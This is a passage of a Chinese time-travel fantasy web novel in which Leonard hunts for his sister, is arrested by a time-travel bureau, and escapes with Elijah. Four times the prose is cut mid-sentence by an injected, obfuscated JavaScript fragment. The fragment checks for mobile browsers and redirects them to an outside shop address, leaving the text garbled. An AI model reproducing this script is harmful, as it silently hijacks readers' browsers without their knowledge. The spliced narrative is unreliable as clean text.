“佩吉?佩吉!听到了就回答我!”莱纳德连滚带爬地冲到那团废铁旁边,试图找到车门或者车窗的位置,那扭曲变形的金属看起来更像是被被揉皱的纸,根本无从分辨它原本的形状。 佩吉不在车里,至少莱纳德祈祷她不在。 “2018年12月20日,离圣诞节只有四天。”莱纳德喃喃道,脑袋里仿佛塞满了棉花,他记得这天,也记得自己就是这么告诉以利亚的,而现在,莱纳德环顾四周,眼下仍是漆黑的暴雨之夜,以利亚不在,他不知道那个该死的时光精灵去哪儿了,更不知道自己为什么会回到这里来。 看在上帝的份上,他甚至不确定自己是否曾经离开过。 莱纳德沿着公路走了下去,佩吉不在车里,那么她一定是往下走了,也许是去找有线电话亭,也许是去找车回来载他们,他得去找她。 他竟然彻底忘记了佩吉·杜弗伦,只比他大一岁、在上大学前跟他形影不离的亲姐姐,他知道自己失去了某段记忆,但忘记最亲近的人完全是另一码事,他记得老肖恩,记得奥古斯特,却单单忘记了佩吉,这不可能,就好像她的存在被硬生生擦除了,他本应该发现不对的。 莱纳德用力抹了把脸,现在不是思考这个问题的好时候,他现在只需要往前走,直到找到佩吉为止。 可惜事与愿违,莱纳德先找到的人并不是佩吉,而是一个他无论如何都没想到的人。 走了大概一公里后,莱纳德听到了引擎声,但不像是汽车,当雪白的车灯刺破黑暗后,他眯起眼睛,看到一辆摩托车正飞快地朝他驶来。 嗤啦—— 摩托车在他跟前打横刹住,莱纳德后退不及,几滴泥水溅进嘴里,他连呸几声,没好气道:“可真是谢谢你了。” “抱歉。”摩托车骑手一条腿撑在地上稳住车身,摘下头盔,冲莱纳德露齿一笑,“大晚上的风雨交加,你是不是遇到什么麻烦了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984515|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莱纳德张大了嘴,一句话也说不出来,他看着跨在摩托车上的以利亚——头发更短,衣服更整齐,下巴也刮得干干净净,的的确确是以利亚本人,但他却好像不认识莱纳德,笑得很客气:“我叫以利亚,有什么能帮忙的尽管说。” 莱纳德讷讷道:“额,我叫莱纳德,我、我的车翻了。” “听起来很糟糕,你没事吧?”以利亚的目光上下扫视着莱纳德,“这场雨一时半会停不了,在路上淋雨可不是个好主意。”他伸出手臂,做出邀请的手势:“想个搭便车吗?莱纳德。” 莱纳德犹豫:“我在找我姐姐,她可能、可能受伤了。” “你姐姐走的哪个方向?我们可以一起去找她。”以利亚把头盔朝莱纳德丢过去,“快上车吧。” 莱纳德把头盔罩上,雨水顿时隔绝在外,雷雨声听起来闷闷的,他跨上摩托车,伸手搂住以利亚的腰,心里想,时间旅行让一切变得可能,这话毫不夸张,也许这不是他第一次见到以利亚,却是以利亚第一次见到他,但想要把这件事彻底想通,莱纳德苦笑,他的头脑还得再清醒个两三倍才行。 “哪个方向?” “前面。” “嘿,你真的没事吗?你的脸色看起来不大好。” “没事。”这是句谎话,此刻他眼皮发酸,两颗眼珠隐隐作痛,像是装满了水和钉子的气球,脆弱、不安,稍微一摇晃就会炸开。 以利亚却相信了,或者并不是真的关心,他一边发动摩托一边说道:“那我们出发吧。” 红发威利就是在这时出现的。 莱纳德先是听到皮靴踏在水里独特的“啪叽”声,一回头,就看到穿着深红色漆皮大衣的高大身影,密集的雨滴在伞边勾出一道白亮的光,仿佛一顶造型奇特的帽子。 那人在用通讯器和什么人通话,声音断断续续:“坐标已确定,我在……现场……一定是从裂缝……我会处理……”他收起通讯器,迈开长腿朝两个人走过来,冷冰冰地说道:“报上你们的姓名、身份和目的,时空联盟调查局已经介入此事,请你们配合。” 时空联盟调查局这几个字像子弹似的射穿雨幕,以利亚还没说话,莱纳德便条件反射似的问道:“你是时间特工?” 那人冷哼:“恐怕比时间特工高上个五六七八级。”他说着撇下嘴角,莱纳德倏地认出了这个讥讽的表情,脱口而出:“红发威利!” 尽管没有高高的礼帽和可笑的燕尾服,但那张脸莱纳德绝对不会忘记,夺命牌桌上的红发威利,无数次威胁要把他送给白皇后变成石头…… “你认识我?”威利沉下脸,一只手伸到了背后,“你们两个,下车,快点!” “嘿,我们可不是坏人。”莱纳德希望自己的语气能够再自然点,可惜不太成功,以利亚仿佛变成了根木头,在他身前一动不动,他只好继续说道,“我们跟时空联盟调查局的交情也久远得很呐。” 威利眯起眼睛:“哦?” “咳,说来话长。”莱纳德不知道自己还能编出几句来,就在这时,以利亚忽然握住莱纳德围在他腰间的手,轻轻捏了捏,“抓紧。” “喂!你们俩说什么呢?”威利警觉地提高声音,藏在背后的手“刷”地伸出来,用枪指着两人,“现在就下车,别逼我说第三遍!” 回应他的,是摩托车朝前蹿出时溅起的泥水。 25.第二章:安全屋 莱纳德用力抱住以利亚的腰,身后,威利的身影在雨幕中飞快变小,只有愤怒的吼声远远传来:“站住!蠢货!你们会付出代价的!” “你怎么半天才开车?我、我早就编不下去了。”莱纳德喘了口气,他听到自己擂鼓似的心跳声,撞得胸口生疼,以利亚似乎笑了笑,回答在风声里破碎不堪:“想听听你跟调查局有什么交情。”。 “那是骗他的。”莱纳德想起以利亚告诉他的——时空联盟调查局的总部大楼里挂着他们的通缉令,复数——虽然以利亚强调过两人不是星际逃犯,但发出星际通缉令总得有点合理缘由吧?不过眼下不是深入探讨的好时机,莱纳德沉吟着,转移话题问道:“我们去哪儿?” “去个安全的地方。”以利亚回头看了一眼,忽然骂了句脏话,说,“不过得先甩掉尾巴,抓紧!”摩托车瞬间加速,莱纳德差点被甩飞出去,幸好手指早就在雨里冻得僵硬,他怀疑待会儿是不是还能松得开手。 头顶响起一阵咔嗒咔嗒的声音,莱纳德抬头,正对上扫过来的刺眼白光,忍不住惊道:“我靠,直升机?” 以利亚说得可真轻巧,这种尾巴能靠摩托车甩掉? 身后有红发威利,头顶有直升机,再留在公路上显然不是明智之举,以利亚一歪车把冲到了路边的草地上,瞬间溅起一大片泥水,但也成功躲开了直升机的探照灯。 莱纳德惊魂未定:“这直升机不会有武器装备吧?”按道理说,时空联盟调查局毕竟是个冠冕堂皇的星际政府机关,应该不至于明目张胆地草菅人命,谁知话音未落,机枪声便在头顶响起,霎时间流弹激飞,好几枚直接擦着莱纳德的头盔飞了过去。 “低头!”以利亚喝道,摩托车在草地里走出一个流畅的S型路线,但流弹却跟长了牙似的紧紧追在他们屁股后面咬,所经之处,草叶泥浆被打得四处乱飞,好在以利亚心理素质惊人,稳稳地控住车把,丝毫不理会莱纳德在他背后被吓得大呼小叫。 “你最好有个好的目的地!”莱纳德牢牢抱住以利亚,恨不得平贴在座位上,“这车又不防弹,咱们迟早被打成筛子!” 以利亚回答:“你最好抓紧点!我们要下坡了!”话音刚落,车身果然猛地颠簸了一下,随即迅速向下坠去。 莱纳德一声惊叫还没完全出口,眼前就是一黑,随即又一亮,跗骨之疽似的枪声不知何时消失了,再抬头时,竟然已经钻进了某个地下通道,四周的水泥墙壁上还挂着LED灯,通道尽头是个宽敞的地下停车场。 以利亚把摩托车停在一个空位上,拍了拍莱纳德死死扣在他腰间的手:“嘿,兄弟,放松点,咱们安全了。” 莱纳德活动了半天手指,才成功把自己从以利亚身上摘下来,不好意思道:“多谢,额,你的头盔还给你。”以利亚接过头盔,挂在摩托车把上,一边揉着肩膀一边朝莱纳德挥了挥手臂,“跟我来。” 莱纳德跟上去:“这是哪里?” “安全屋。”以利亚回答,两人走进一间办公室,各自找椅子坐下,以利亚靠在椅背上舒服地吁了口气,感慨道:“好久没这么舒展过筋骨了。”莱纳德只觉得全身筋骨都快散架了,跟舒展半点靠不上边,忍不住好奇以利亚的筋骨和神经是什么材料做的,他努力放松下来,对以利亚说:“你说过,要帮我找我姐姐,还算数吗?” 以利亚似笑非笑:“你说,你的车翻了,那时候你姐姐在哪里?”以利亚露出的神情让莱纳德心一沉,他已经熟悉了这张脸,而现在他的表情只说明一件事——怀疑,莱纳德定了定神,实话实说:“她当时在开车。” “你也在车里?”以利亚问。 “对。” “车子受损厉害吗?” “我说过,车翻了,等我醒过来的时候它都变成一团废铁了,我……”莱纳德忽然顿住,他知道怀疑从何而来了,果然,以利亚盯着他,说道:“无意冒犯,但你身上连一块淤青、一道划痕都没有。” 没错,他又一次在危难中全身而退,一想到某个时空的以利亚会替他承受这些,莱纳德就感到一阵心痛:“我知道,但……” “如果你是想说气囊和安全带,我知道那有什么用。”以利亚举起一只手打断他,“在你说下去之前,我想告诉你另一件事,我是从你来的方向骑车过来的,兜了一个圈子,确认你只有一个人,然后才截停你的。” 他顿了顿,目光锁在莱纳德脸上,似乎不打算放过他一丝表情变化,说道:“你知道吗?路边根本没有翻倒的车,一辆都没有。” “没有看到?你、你和我是从不同方向来的,对,你是从反方向来的。”莱纳德在座位上不安地扭动了一下,冒着白烟的汽车残骸和佩吉金发沾血的模样从脑海里一闪而过,以利亚肯定搞错了,肯定。 以利亚的灰眼睛里闪动着含义莫名的光,看来相当冷酷,他静静地说道:“要么,你在说谎,要么你压根不知道自己在说谎。” “我没有说谎!”莱纳德大声说,脸都涨红了,一部分因为被指责欺骗,另一部分则是因为以利亚此刻表现出的距离感。 他认识的以利亚不是这样的,他不知道那些无条件的信任从何而来,但上帝啊,莱纳德用力咬住嘴唇,他从没有比现在更需要它。 “那你不妨先告诉我,你为什么会认识时空联盟调查局的高级探长?”以利亚上半身向前倾过来,手肘压在大腿上,居高临下地看着他。 莱纳德顿时语塞,他该怎么告诉以利亚,他之所以会叫出“红发威利”这个名字,是因为这个吓人的家伙曾经在一个噩梦里威胁过要把他变成石头? “我……我不知道该怎么回答这个问题。”莱纳德最后说。 “很好。”以利亚的目光仿佛变成了箭矢,让莱纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003630|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德忍不住想要躲闪,他似笑非笑地说:“我猜你不喜欢坦诚相待,莱纳德,如果这真是你的名字的话。” “以利亚,我不想骗你,拜托了。”莱纳德紧紧捏着手指,“但眼下的情况一两句话说不清,老实说,连我自己都还没搞明白呢。”他苦笑了一下,继续说道:“不管你相不相信,我都是站在你这一边的,真的。” 以利亚点点头,不置可否,他忽然站起来,在一旁的办公桌上用力按了几下,只听“咔嗒”几声,办公室的四面墙壁竟然整个翻转了过来,露出几块显示屏,莱纳德一一看过去,发现有这片区域的雷达地图、信号分布、气温天象,以及很多他看不懂的符号和标记。以利亚走到墙边,从显示屏下边拉出一根光纤似的柔软玻璃管,捏在手里拖拽到莱纳德身前:“把手给我。” “干什么?”莱纳德嘴上问,但还是伸出了右手。 “你姐姐和你有血缘关系吗?” “当然,她是我亲姐姐。” “既然你说过她也在这里,”以利亚忽然用玻璃管尖锐的一端戳进了莱纳德的右手掌心,另一只手捏住他的手腕不让他缩回去,解释道,“如果你说的是真的,当我把你的血液样本输入系统后,你的同源基因将会在两个地方标点,一个是这间安全屋,另一个,就是你姐姐所在的地方。” 以利亚牵着玻璃管回到大屏幕前,把吸取血液的一端插进接口,在屏幕边操作起来。莱纳德低头观察自己的手心,细小的伤口里冒出了一滴新鲜的血珠,正慢慢涨大,他刚要伸舌头舔掉,以利亚忽然头也不回地朝他丢过来一块四四方方的小胶布,说道:“只是个针眼而已,别大惊小怪的。” 莱纳德依言贴好胶布,小声嘟囔道:“我没大惊小怪。” 以利亚完成操作后,屏幕上的一个页面开始不断刷新,搜索区域内的匹配生物信号,莱纳德看着雷达标志在地图上闪烁、游动,一颗心也跟着提了起来,他自己所在的位置已经成功标点,这意味着,下个标点一定是佩吉的位置,如果她还在这里…… 先不去想其他可能性,莱纳德告诉自己,因为一旦放纵自己思考下去的话,他会疯掉的。 “叮”—— 雷达图成功标出了第二个红点,莱纳德连忙凑过去看,地图显示,那地方是个俱乐部,名字叫做“欢乐喜剧嗨不停”。 以利亚似乎也很惊讶,他再次确认标点的位置,偏头看向莱纳德:“看来你姐姐不仅没有在车祸里受伤,而且还有兴致去看喜剧演出。” 但莱纳德注意到的是另一件事,他是第一次认真看这幅地图,那些道路、那些建筑,还有他们刚才逃命的公路和草地……一股寒意沿着莱纳德的后背飞快地蹿了上去,他忍不住低声道:“天啊。” “怎么了?”以利亚问。 莱纳德听到自己的声音在微微打颤:“这里是故园鸟镇?” 26.第三章:圈套 严格来说,“欢乐喜剧嗨不停”并不是一家俱乐部,而是故园鸟镇上第一家、也是唯一一家剧院,在莱纳德记忆里,这里似乎并没有演过戏剧,反倒是脱口秀表演往往座无虚席。 推开剧院大门,大厅中央立着一个捧腹大笑的小丑,穿着花哨的黄格子西装,一头海草似的绿发,涂满白漆的脸上挂着以一张血红大嘴,正不知疲倦地咧嘴大笑。 莱纳德忍不住倒抽一口冷气,他仰起头,望向小丑头顶的巨大横幅,上面加粗的大写字母像子弹一样撞入眼帘——如果开心你就拍拍手! 以利亚跟莱纳德并肩站着,也向小丑投去好奇的目光,小丑身后的墙壁上贴着四五张喜剧人海报,每个人物都笑得很用力,最中央那个叫拉比·王的尤为诡异,两颗硕大的门牙从猩红的牙龈上龅出来,绝对能在半夜吓哭小孩子。“我猜,你姐姐不是来这里看喜剧的。”以利亚一耸肩说道。 “你大概猜对了。”莱纳德嗅着空气中不太新鲜的甜甜的爆米花味,无端联想到冰冷粘稠的红色糖浆,他这时才忽然意识到,剧院最诡异的地方并不是大笑的小丑和海报上的喜剧人,而是偌大的厅里只有他们两个活人,四下里一片寂静。 没人在这种环境里还会有心情看演出。 “以利亚,我们怎么会在故园鸟镇?镇子上的人都去哪儿了?”莱纳德终于忍不住问,他自己是寒假回家横遭劫难,但以利亚又是为什么来到这座不起眼的北方小镇? 以利亚咧嘴一笑:“我是来观光旅游。”他略过第二个问题不答,反问莱纳德:“你呢?” 莱纳德用脚后跟也能听出来以利亚在随口扯谎,甚至都不是什么高明的谎话,摆明了把人当傻子,他忍不住哼了一声,赌气答道:“我也来观光旅游。” 以利亚目光含笑,意味不明地“哦”了一声,他手腕上戴了块巴掌大的小屏幕,上面拷贝了标点地图,划动手指放大地图,指着其中一点说道:“你姐姐在剧院后门附近,如果我没看错的话,8号影厅和10号影厅中间有一道暗门,想去看看吗?” “暗门?”莱纳德在故园鸟镇住了二十多年都没听说过剧院还有这种通道,不由得心下惴惴,但以利亚已经自顾自走出去了,他最后看一眼绿头发小丑,咽了口唾沫,硬起头皮跟了上去。 以利亚脚步轻快地钻进两个影厅中间的走廊,走廊一人半宽,莱纳德只能跟在后边,以利亚一边走,一边握拳在墙壁上连敲几下,墙壁发出“空空”的响声,他摸索着锁定了一块墙板:“就是这儿了。”说着用力一掀,竟然硬生生把墙板推进去了两尺。 “大功告成!”以利亚小声欢呼,他回头朝莱纳德招了招手,不等对方追问,就侧过身,像螃蟹那样横着把自己塞进了墙板下陷露出的空隙里。 “以利亚?”一眨眼功夫,以利亚已经整个消失在了墙壁间,莱纳德也只好照做,缝隙里漆黑一片,他压低声音叫了一声,以利亚立刻在离他很近的右手边回应:“嘘,别出声。”莱纳德闭上了嘴,在黑暗中一步一步地挪动起来。很快,他就明白了不能出声的道理,没走两三步,墙壁间竟然传出了窃窃私语声,那声音窸窸窣窣,听不真切,却不像人类能发出的,在这前胸后背都是墙壁的狭窄缝隙里回荡,着实让人毛骨悚然。 “……生死有命……欺骗死神。……” 莱纳德忽然捕捉到几句低语,但凝神细听时,却又听不清楚,他伸手扶住墙,下意识朝墙面靠了过去,手臂上蓦地一紧,一只冰冷的大手用力抓住了他,他惊叫一声,随即换来以利亚不满的嘘声:“别出声,跟紧我。” 不敢再逗留,莱纳德加快脚步走完了下半程,眼前倏地明亮起来,穿过缝隙,竟是一条宽阔街道,晨光熹微间,只见地面上湿漉漉的积满了一滩又一滩的水,暴雨留下的痕迹。空气潮湿,混合着机油、酒精、香料和烟草的复杂味道,莱纳德深呼吸几次,这才摆脱了刚才缝隙里令人不快的感觉,他打量着眼前的街道,认出了这里:“阿什兰街?” 肖恩书店就在前面不远,莱纳德的心跳忽然快了起来。 “奇怪了。”以利亚用食指敲了敲小屏幕,眉头皱成一团,“位置标记又移动了,她刚才明明还站在这儿的。”说着转头四顾,却连半个人影都没有,他忽然看向莱纳德,面露疑惑:“你怎么知道这条街的名字?” 莱纳德忘记了刚才的片刻赌气,呆呆道:“我爷爷的书店就在前面,姐姐一定是回去了。” 以利亚愣住:“什么书店?你爷爷?” “我得去找她,找他们。”莱纳德忽然拔腿往前跑去,以利亚匆匆伸手去抓,却只捞了个空,他连忙跟上,一边叫道:“等等!这不对劲,先别急着去!莱纳德!” 莱纳德却只顾闷头往前冲,书店门口漆着红漆的灯柱和报箱已经映入眼帘,他听到自己太阳穴边的血管“砰砰”直跳,上一次回来爷爷不在,所有人都忘记了他,但这次不一样,他把姐姐找回来了,这次一定不一样。 脚下的石灰地面忽然有几道交织的光线亮起,很快又灭掉,莱纳德顿时心道不妙,刚要撤退,线条交织的地方就仿佛变成了磁铁,霎时间把他的双脚牢牢吸附在了地面上。 “别过来!”莱纳德回过头冲以利亚大喊,拼命摆手,“有机关,快停下!” 以利亚在他几步开外的地方站住,光线把莱纳德脚下的地面分割成几个方块,他的两只脚各踩在一个交织点上,似乎整条腿都动弹不得,以利亚皱起眉头:“这是……量子锁。” “量子锁,什么意思?” “意思就是,哪怕你脱掉鞋脚也依然被锁在这,所以,你也没法脱掉鞋。” “废话能回头再说吗?现在我怎么办?” “这种锁我解不开。”以利亚抬起头,警觉地望了望四周,“有人过来了,我得走了。” “以利亚?”莱纳德的心在胸腔里忽悠一下,有一瞬间,他真的以为以利亚会改变主意,留下来陪他,但以利亚只是深深地望了他一眼,什么也没说就转身离开了。 “哎呀,费心备饵钓大鱼,没想到只钓到小虾。”一个穿黑色西装的高个女人忽然出现在书店门口,她的声音低沉悦耳,一对浅色瞳孔眨也不眨地打量着莱纳德。 “你是谁?”莱纳德瞪着高个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017501|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人,对方的长相竟然有几分眼熟,但他想不起来究竟在哪里见过。 高个女人微笑着,坦然回答道:“我叫白瑞摩,现任时空联盟调查局局长。”霎时间,莱纳德血管里的血液都凝结了,他想起来这个人是谁了,冰雪世界的白皇后,专用好吃的土耳其软糖诱惑迷路的小孩……他在梦里见过她。 可怎么会? 先是红发威利,又是白皇后,莱纳德想到剧院里的绿头发小丑,后脖子上不由地冒出一层鸡皮疙瘩,以利亚说过,那个梦是他大脑对某种丢失现实的映射,可那时他分明还没经历过眼下这一切。 还是说,眼下的这一切只不过是另一个梦? “时空联盟调查局的力量绝非你所能抗衡,任何反抗或逃跑的意图都是无效的。”白瑞摩优雅地朝莱纳德伸出一只手,手心里躺着一枚圆圆的金属片,“认命吧,莱纳德·杜弗伦,你被捕了。”她说完按下了那枚按钮。 莱纳德从脚底到天灵盖一阵过电般的酸麻,双腿一软,顿时栽倒在地。 醒来时,莱纳德只觉得头疼欲裂,眼皮也仿佛比平时重了三倍,他努力爬起来,发现自己在一间宽敞明亮的房间,躺在一张宽大柔软的床上,身下的床单洁白如雪,散发出好闻的香味,窗外阳光明媚,丝毫没有下过雨的样子。 他昏倒前的最后记忆,是自称时空联盟调查局局长的高个女人用小圆片电击他,还有她说的那句“你被捕了”,如果不是开玩笑的话,调查局给通缉犯的待遇似乎还不错。 缓过了最初那阵头疼后,莱纳德跳下床,在房间里打了个转,有一扇门通向卫生间,另一扇门他刚打开就差点撞到守卫的枪口上,识相地把门关上了。 莱纳德往窗外看去,高度只有一层,看起来运气不错,他摸索着想要翻窗出去,但窗户触感却奇怪得很,不像玻璃,他的手指终于碰到卡扣,用力一扳,窗户忽然整个闪烁了一下,明媚阳光和花草绿树都不见了,光线骤然暗下来,莱纳德睁大眼睛,发现自己面前竟然是一堵墙壁。 根本没有窗户,墙壁上只有一个圆圆的按钮。 莱纳德再按一下按钮,窗户又出现了,他握住按钮向一边旋转,窗户再次闪烁,窗外的花草绿树变成了泛着金属光泽的城市景象,再旋转一下,又变成漫天黄土……原来所谓的窗户只不过是逼真的全息影像。 有了假窗户的经验,莱纳德把房间重新摸索一遍,壁橱和衣柜果然也是假的,卫生间倒是真的,马桶和浴缸都光洁得可以当镜子照,洗漱台上隔着小瓶熏香,散发出的香味一闻就价格不菲。 莱纳德看着镜子里的自己,他还穿着上学时的套头衫和羽绒马甲,留着校园乐队里颇为流行可现在看着一言难尽的长头发,在脑后扎成马尾,跟佩吉开车接他那天一模一样。 问题在于,那真的是他吗? 听说古中国有位高人写过一首诗,大意是做梦梦到自己变成了蝴蝶,醒来不知道究竟是他梦里变成了蝴蝶,还是蝴蝶做梦变成了他,莱纳德当时对诗里蕴藏的东方哲学不屑一顾,还嘲笑诗人庸人自扰。 那时莱纳德可没想到会这有一天。 27.第四章:越狱 “莱尼!” 以利亚忽然出现在镜子里,莱纳德吓得原地跳了起来:“以利亚!”他一开始居然以为镜子变成了通讯器屏幕之类的,但以利亚往前几步,走到他身后,莱纳德连忙转过身,像溺水的人碰到救命稻草那样抓住以利亚的肩膀,又惊又喜地用力摇晃几下,大声道:“以利亚,你果然来找我了!我就知道你不会丢下我不管的!” 以利亚被他晃得七荤八素,但还保持微笑:“我什么时候丢下你不管了?” 莱纳德一愣,他才发现,以利亚玩世不恭的神情下,曾经的熟稔和信任又回来了,而且,他穿的不是骑摩托时的棕色皮衣,莱纳德盯着那件深灰色长款西装直看,他之前在哪儿见过以利亚穿这件衣服来着? “莱尼?”以利亚在他面前打了个响指。 “你是从风琴河岸来的?”莱纳德呆呆地问。 “猜对了。”以利亚的笑容下隐藏着谨慎,“所以,你已经看过风琴河岸的日出了?” 莱纳德默默无言地点头,原来以利亚在风琴河岸消失后竟是来到了这里,他还记得那次以利亚连招呼都没打就消失了一整晚,回到河岸后,只穿了件马甲背心,西装外套不见了,他还说自己把衣服借给了一个冒失鬼。 “喂,你一个劲盯着我干嘛?”以利亚捏着衣领往上提了提,“看上我这件衣服了?” “没什么,”莱纳德耸耸肩,提前替自己找回场子,“只是觉得这衣服不适合你。” 以利亚吹了声口哨:“马尾辫也不适合你,金毛儿。”他拍拍莱纳德的胳膊,转身离开卫生间,在不大的房间里转了一圈,边看边点评:“全息窗户做得太凑合了,图库倒是挺丰富,但参数设置呆板得很,我看看,时空联盟调查局的手笔?哼,那群人一贯缺乏想象力。” 他最后一屁股在床上坐下,靠在床头的雕花木板上,伸展双腿,冲莱纳德一挑眉:“说说吧,你是怎么被时空联盟调查局抓到的?我又是怎么丢下你不管的?我是说,这个时空里的我,也就是未来的没良心的我,哦?居然是过去的我?这可真是新鲜。” “是挺新鲜。”莱纳德表示同意。 于是,他从时光精灵和海盗船的混战讲起,一直说到落入白瑞摩布下的圈套,略去一些无伤大雅的细节不讲,最后问以利亚:“这可是剧透,你提前知道没关系吗?” 以利亚眉头紧皱不置可否,沉吟片刻,问道:“我居然没能在传送门外拉住你吗?这也太没用了。”当然,莱纳德也没有讲自己替他挡枪,结果以利亚反而中枪受伤的事,对此他有种迷信,如果告诉以利亚,导致过去发生改变的话,它一定不会变得更好,只会更糟糕。 因为上帝不会允许作弊,尤其当涉及生死的时候。 以利亚抱起胳膊,神情凝重:“听起来,未来的我给时光精灵挑了个好去处,在这个地方,任何时间系能力都无法发挥,它无计可施,只能被这里的时间能量慢慢吞噬掉。” “这里究竟是什么地方?”莱纳德忍不住问,感到一阵毛骨悚然。 “我的时间线伤疤。”以利亚十指相交搭在身前,悠悠道,“当然,这只是种诗意的说法,直白点说,我的过去存在某种不确定性,因为它和另一个人的时间线交缠在一起,而那个人的时间线,要比我的更不稳定。” 莱纳德连连摇头:“不直白,一点也没听懂。”事实上,他对以利亚口中的“那个人”隐约有所猜测,却不敢直接却问以利亚。时光榕树母亲曾经对他提起过,但那只是蛛丝马迹,不是吗? “这里是我的过去。”以利亚换了种角度解释,“但不管是对于你,还是对于我自己,它都正在发生。” 莱纳德似懂非懂:“也就是说……” “也就是说,”以利亚接话,“我没法提前记住这段过去,很遗憾,通关手册没有了。”他说着咧嘴一笑:“我们只能靠自己摸索了。” “那如果你……”莱纳德话问了一半又闭上嘴,在这种问题上他也一样迷信言灵,以利亚却猜到了他的心思:“你是想问,如果过去的我死了,现在的我会不会一起挂掉?” “第一,除了八岁小孩没人会用‘挂掉’这种说法,第二,”莱纳德听到自己的笑声干巴巴的,“会吗?” “会。”以利亚淡淡道,“准确来说,我将不复存在。” 莱纳德默然半晌,说:“幸亏过去的你丢下我跑路了。”那个穿西装的高个女人总给他一种笑里藏刀的感觉,如果以利亚真的落到这个女人手里,莱纳德毫不怀疑,她一定会用最残忍的方法对付以利亚。 “那时候我还不认识你。”以利亚说,他的目光看起来忽然有些隐晦,问莱纳德,“你不会介意吧?” “额……不会?”莱纳德承认自己当时还是有点介意的,但现在,以利亚就在他跟前,莱纳德叹了口气,想要对着这张脸生气实在太难了。 以利亚笑笑,从床上一跃而起:“现在是时候离开了。”他拽过莱纳德的手腕,垂头调整那里戴着的装置,说道:“理论上,所有房间都有出去的路,等我们扫描过房间的电路和磁场就知道了。”他一边操作一边嘟囔:“给力点,千万别是垃圾通道或者下水道,我们可不需要感染霍乱的下水道老鼠还有吃垃圾长大的巨型蟑螂……啊哈!通风管道通向厨房,怎么样?听起来还不错对不对?” 莱纳德也跟着心下一喜,厨房简直是干净卫生和守卫松散的代名词,即便遇到麻烦也更容易解决,在这一点上,X教授和万磁王已经证明过了。 他们现在要做的,就是摸到天花板,找到被全息影像隐藏起来的通风管道阀门口。 “阀门在这里!”以利亚抬起头,指向天花板的一处,那地方的光线不太自然,他估摸了一下天花板的高度和两人的弹跳能力,又对莱纳德说:“你去把床帐拧成绳子,床单裁成方块,待会儿可能会用到。”“遵命,贝儿小姐。”莱纳德故意用蹩脚的法语回答,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035132|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到床边把帐子扯开,拧成一股一股的,然后攥成绳子。 趁这功夫,以利亚把卫生间里的瓶瓶罐罐拿出来几个,绑在布条一端,瞄准头顶的吊灯,挥手把布条甩出个圆圈,找准时机扔了出去——布条绕着吊灯兜了两圈,在瓶子的重量下套牢,以利亚扯了扯,布条稳稳回弹,看来缠得还算结实。 他朝莱纳德打了个手势,说:“我先上去,你断后。”两条手臂交替用力,朝天花板爬了上去,横向距离阀门还有两臂远,他腰上用力,把自己往后一甩,再借着惯性朝前荡去,头顶的灯绳立刻发出令人牙酸的“咔滋”声。 第一次荡得不够远,以利亚又荡了第二次,同时向前伸出手臂,成功抓住了看不见的通风口,用力一扯,金属百叶便“喀拉”一下被拽了下来,露出比肩膀略宽的幽暗通道,但与此同时,缠着布条的吊灯终于不堪重负,与天花板的连接处裂开一条大缝,灯绳顿时失去着力点,连绳带吊灯摔落在地,玻璃灯罩“啪嚓”碎成了无数块。 莱纳德惊叫出声,但以利亚一只手扒在通风口上,整个人摇摇晃晃,但竟然稳住了自己,他喘了口气,双臂用力,把自己撑起来,一翻身钻进了通道,不一会儿就从通道口探出头,对莱纳德说:“把绳子扔给我,爬上来。” 莱纳德依言照做,但并不觉得自己能像以利亚那样举重若轻,他刚拽着布条双脚离地,就不由自主两腿乱蹬,在空中晃荡起来,完全不知道该从何借力。 以利亚叹了口气:“别乱动了,我拉你上来。” 通风管道之旅很顺利,但目的地却糟糕之极,通风口没有开在厨房的天花板上,而是连接着厨余垃圾处理通道。 “可真臭。”莱纳德捂住口鼻,依然能清晰地感受到空气中一言难尽的变化,忍不住在心里恨恨吐槽碳基生物该死的饮食习惯,鄙视分解者饥不择食,最后诅咒那些不按时清理垃圾管道的懒鬼。 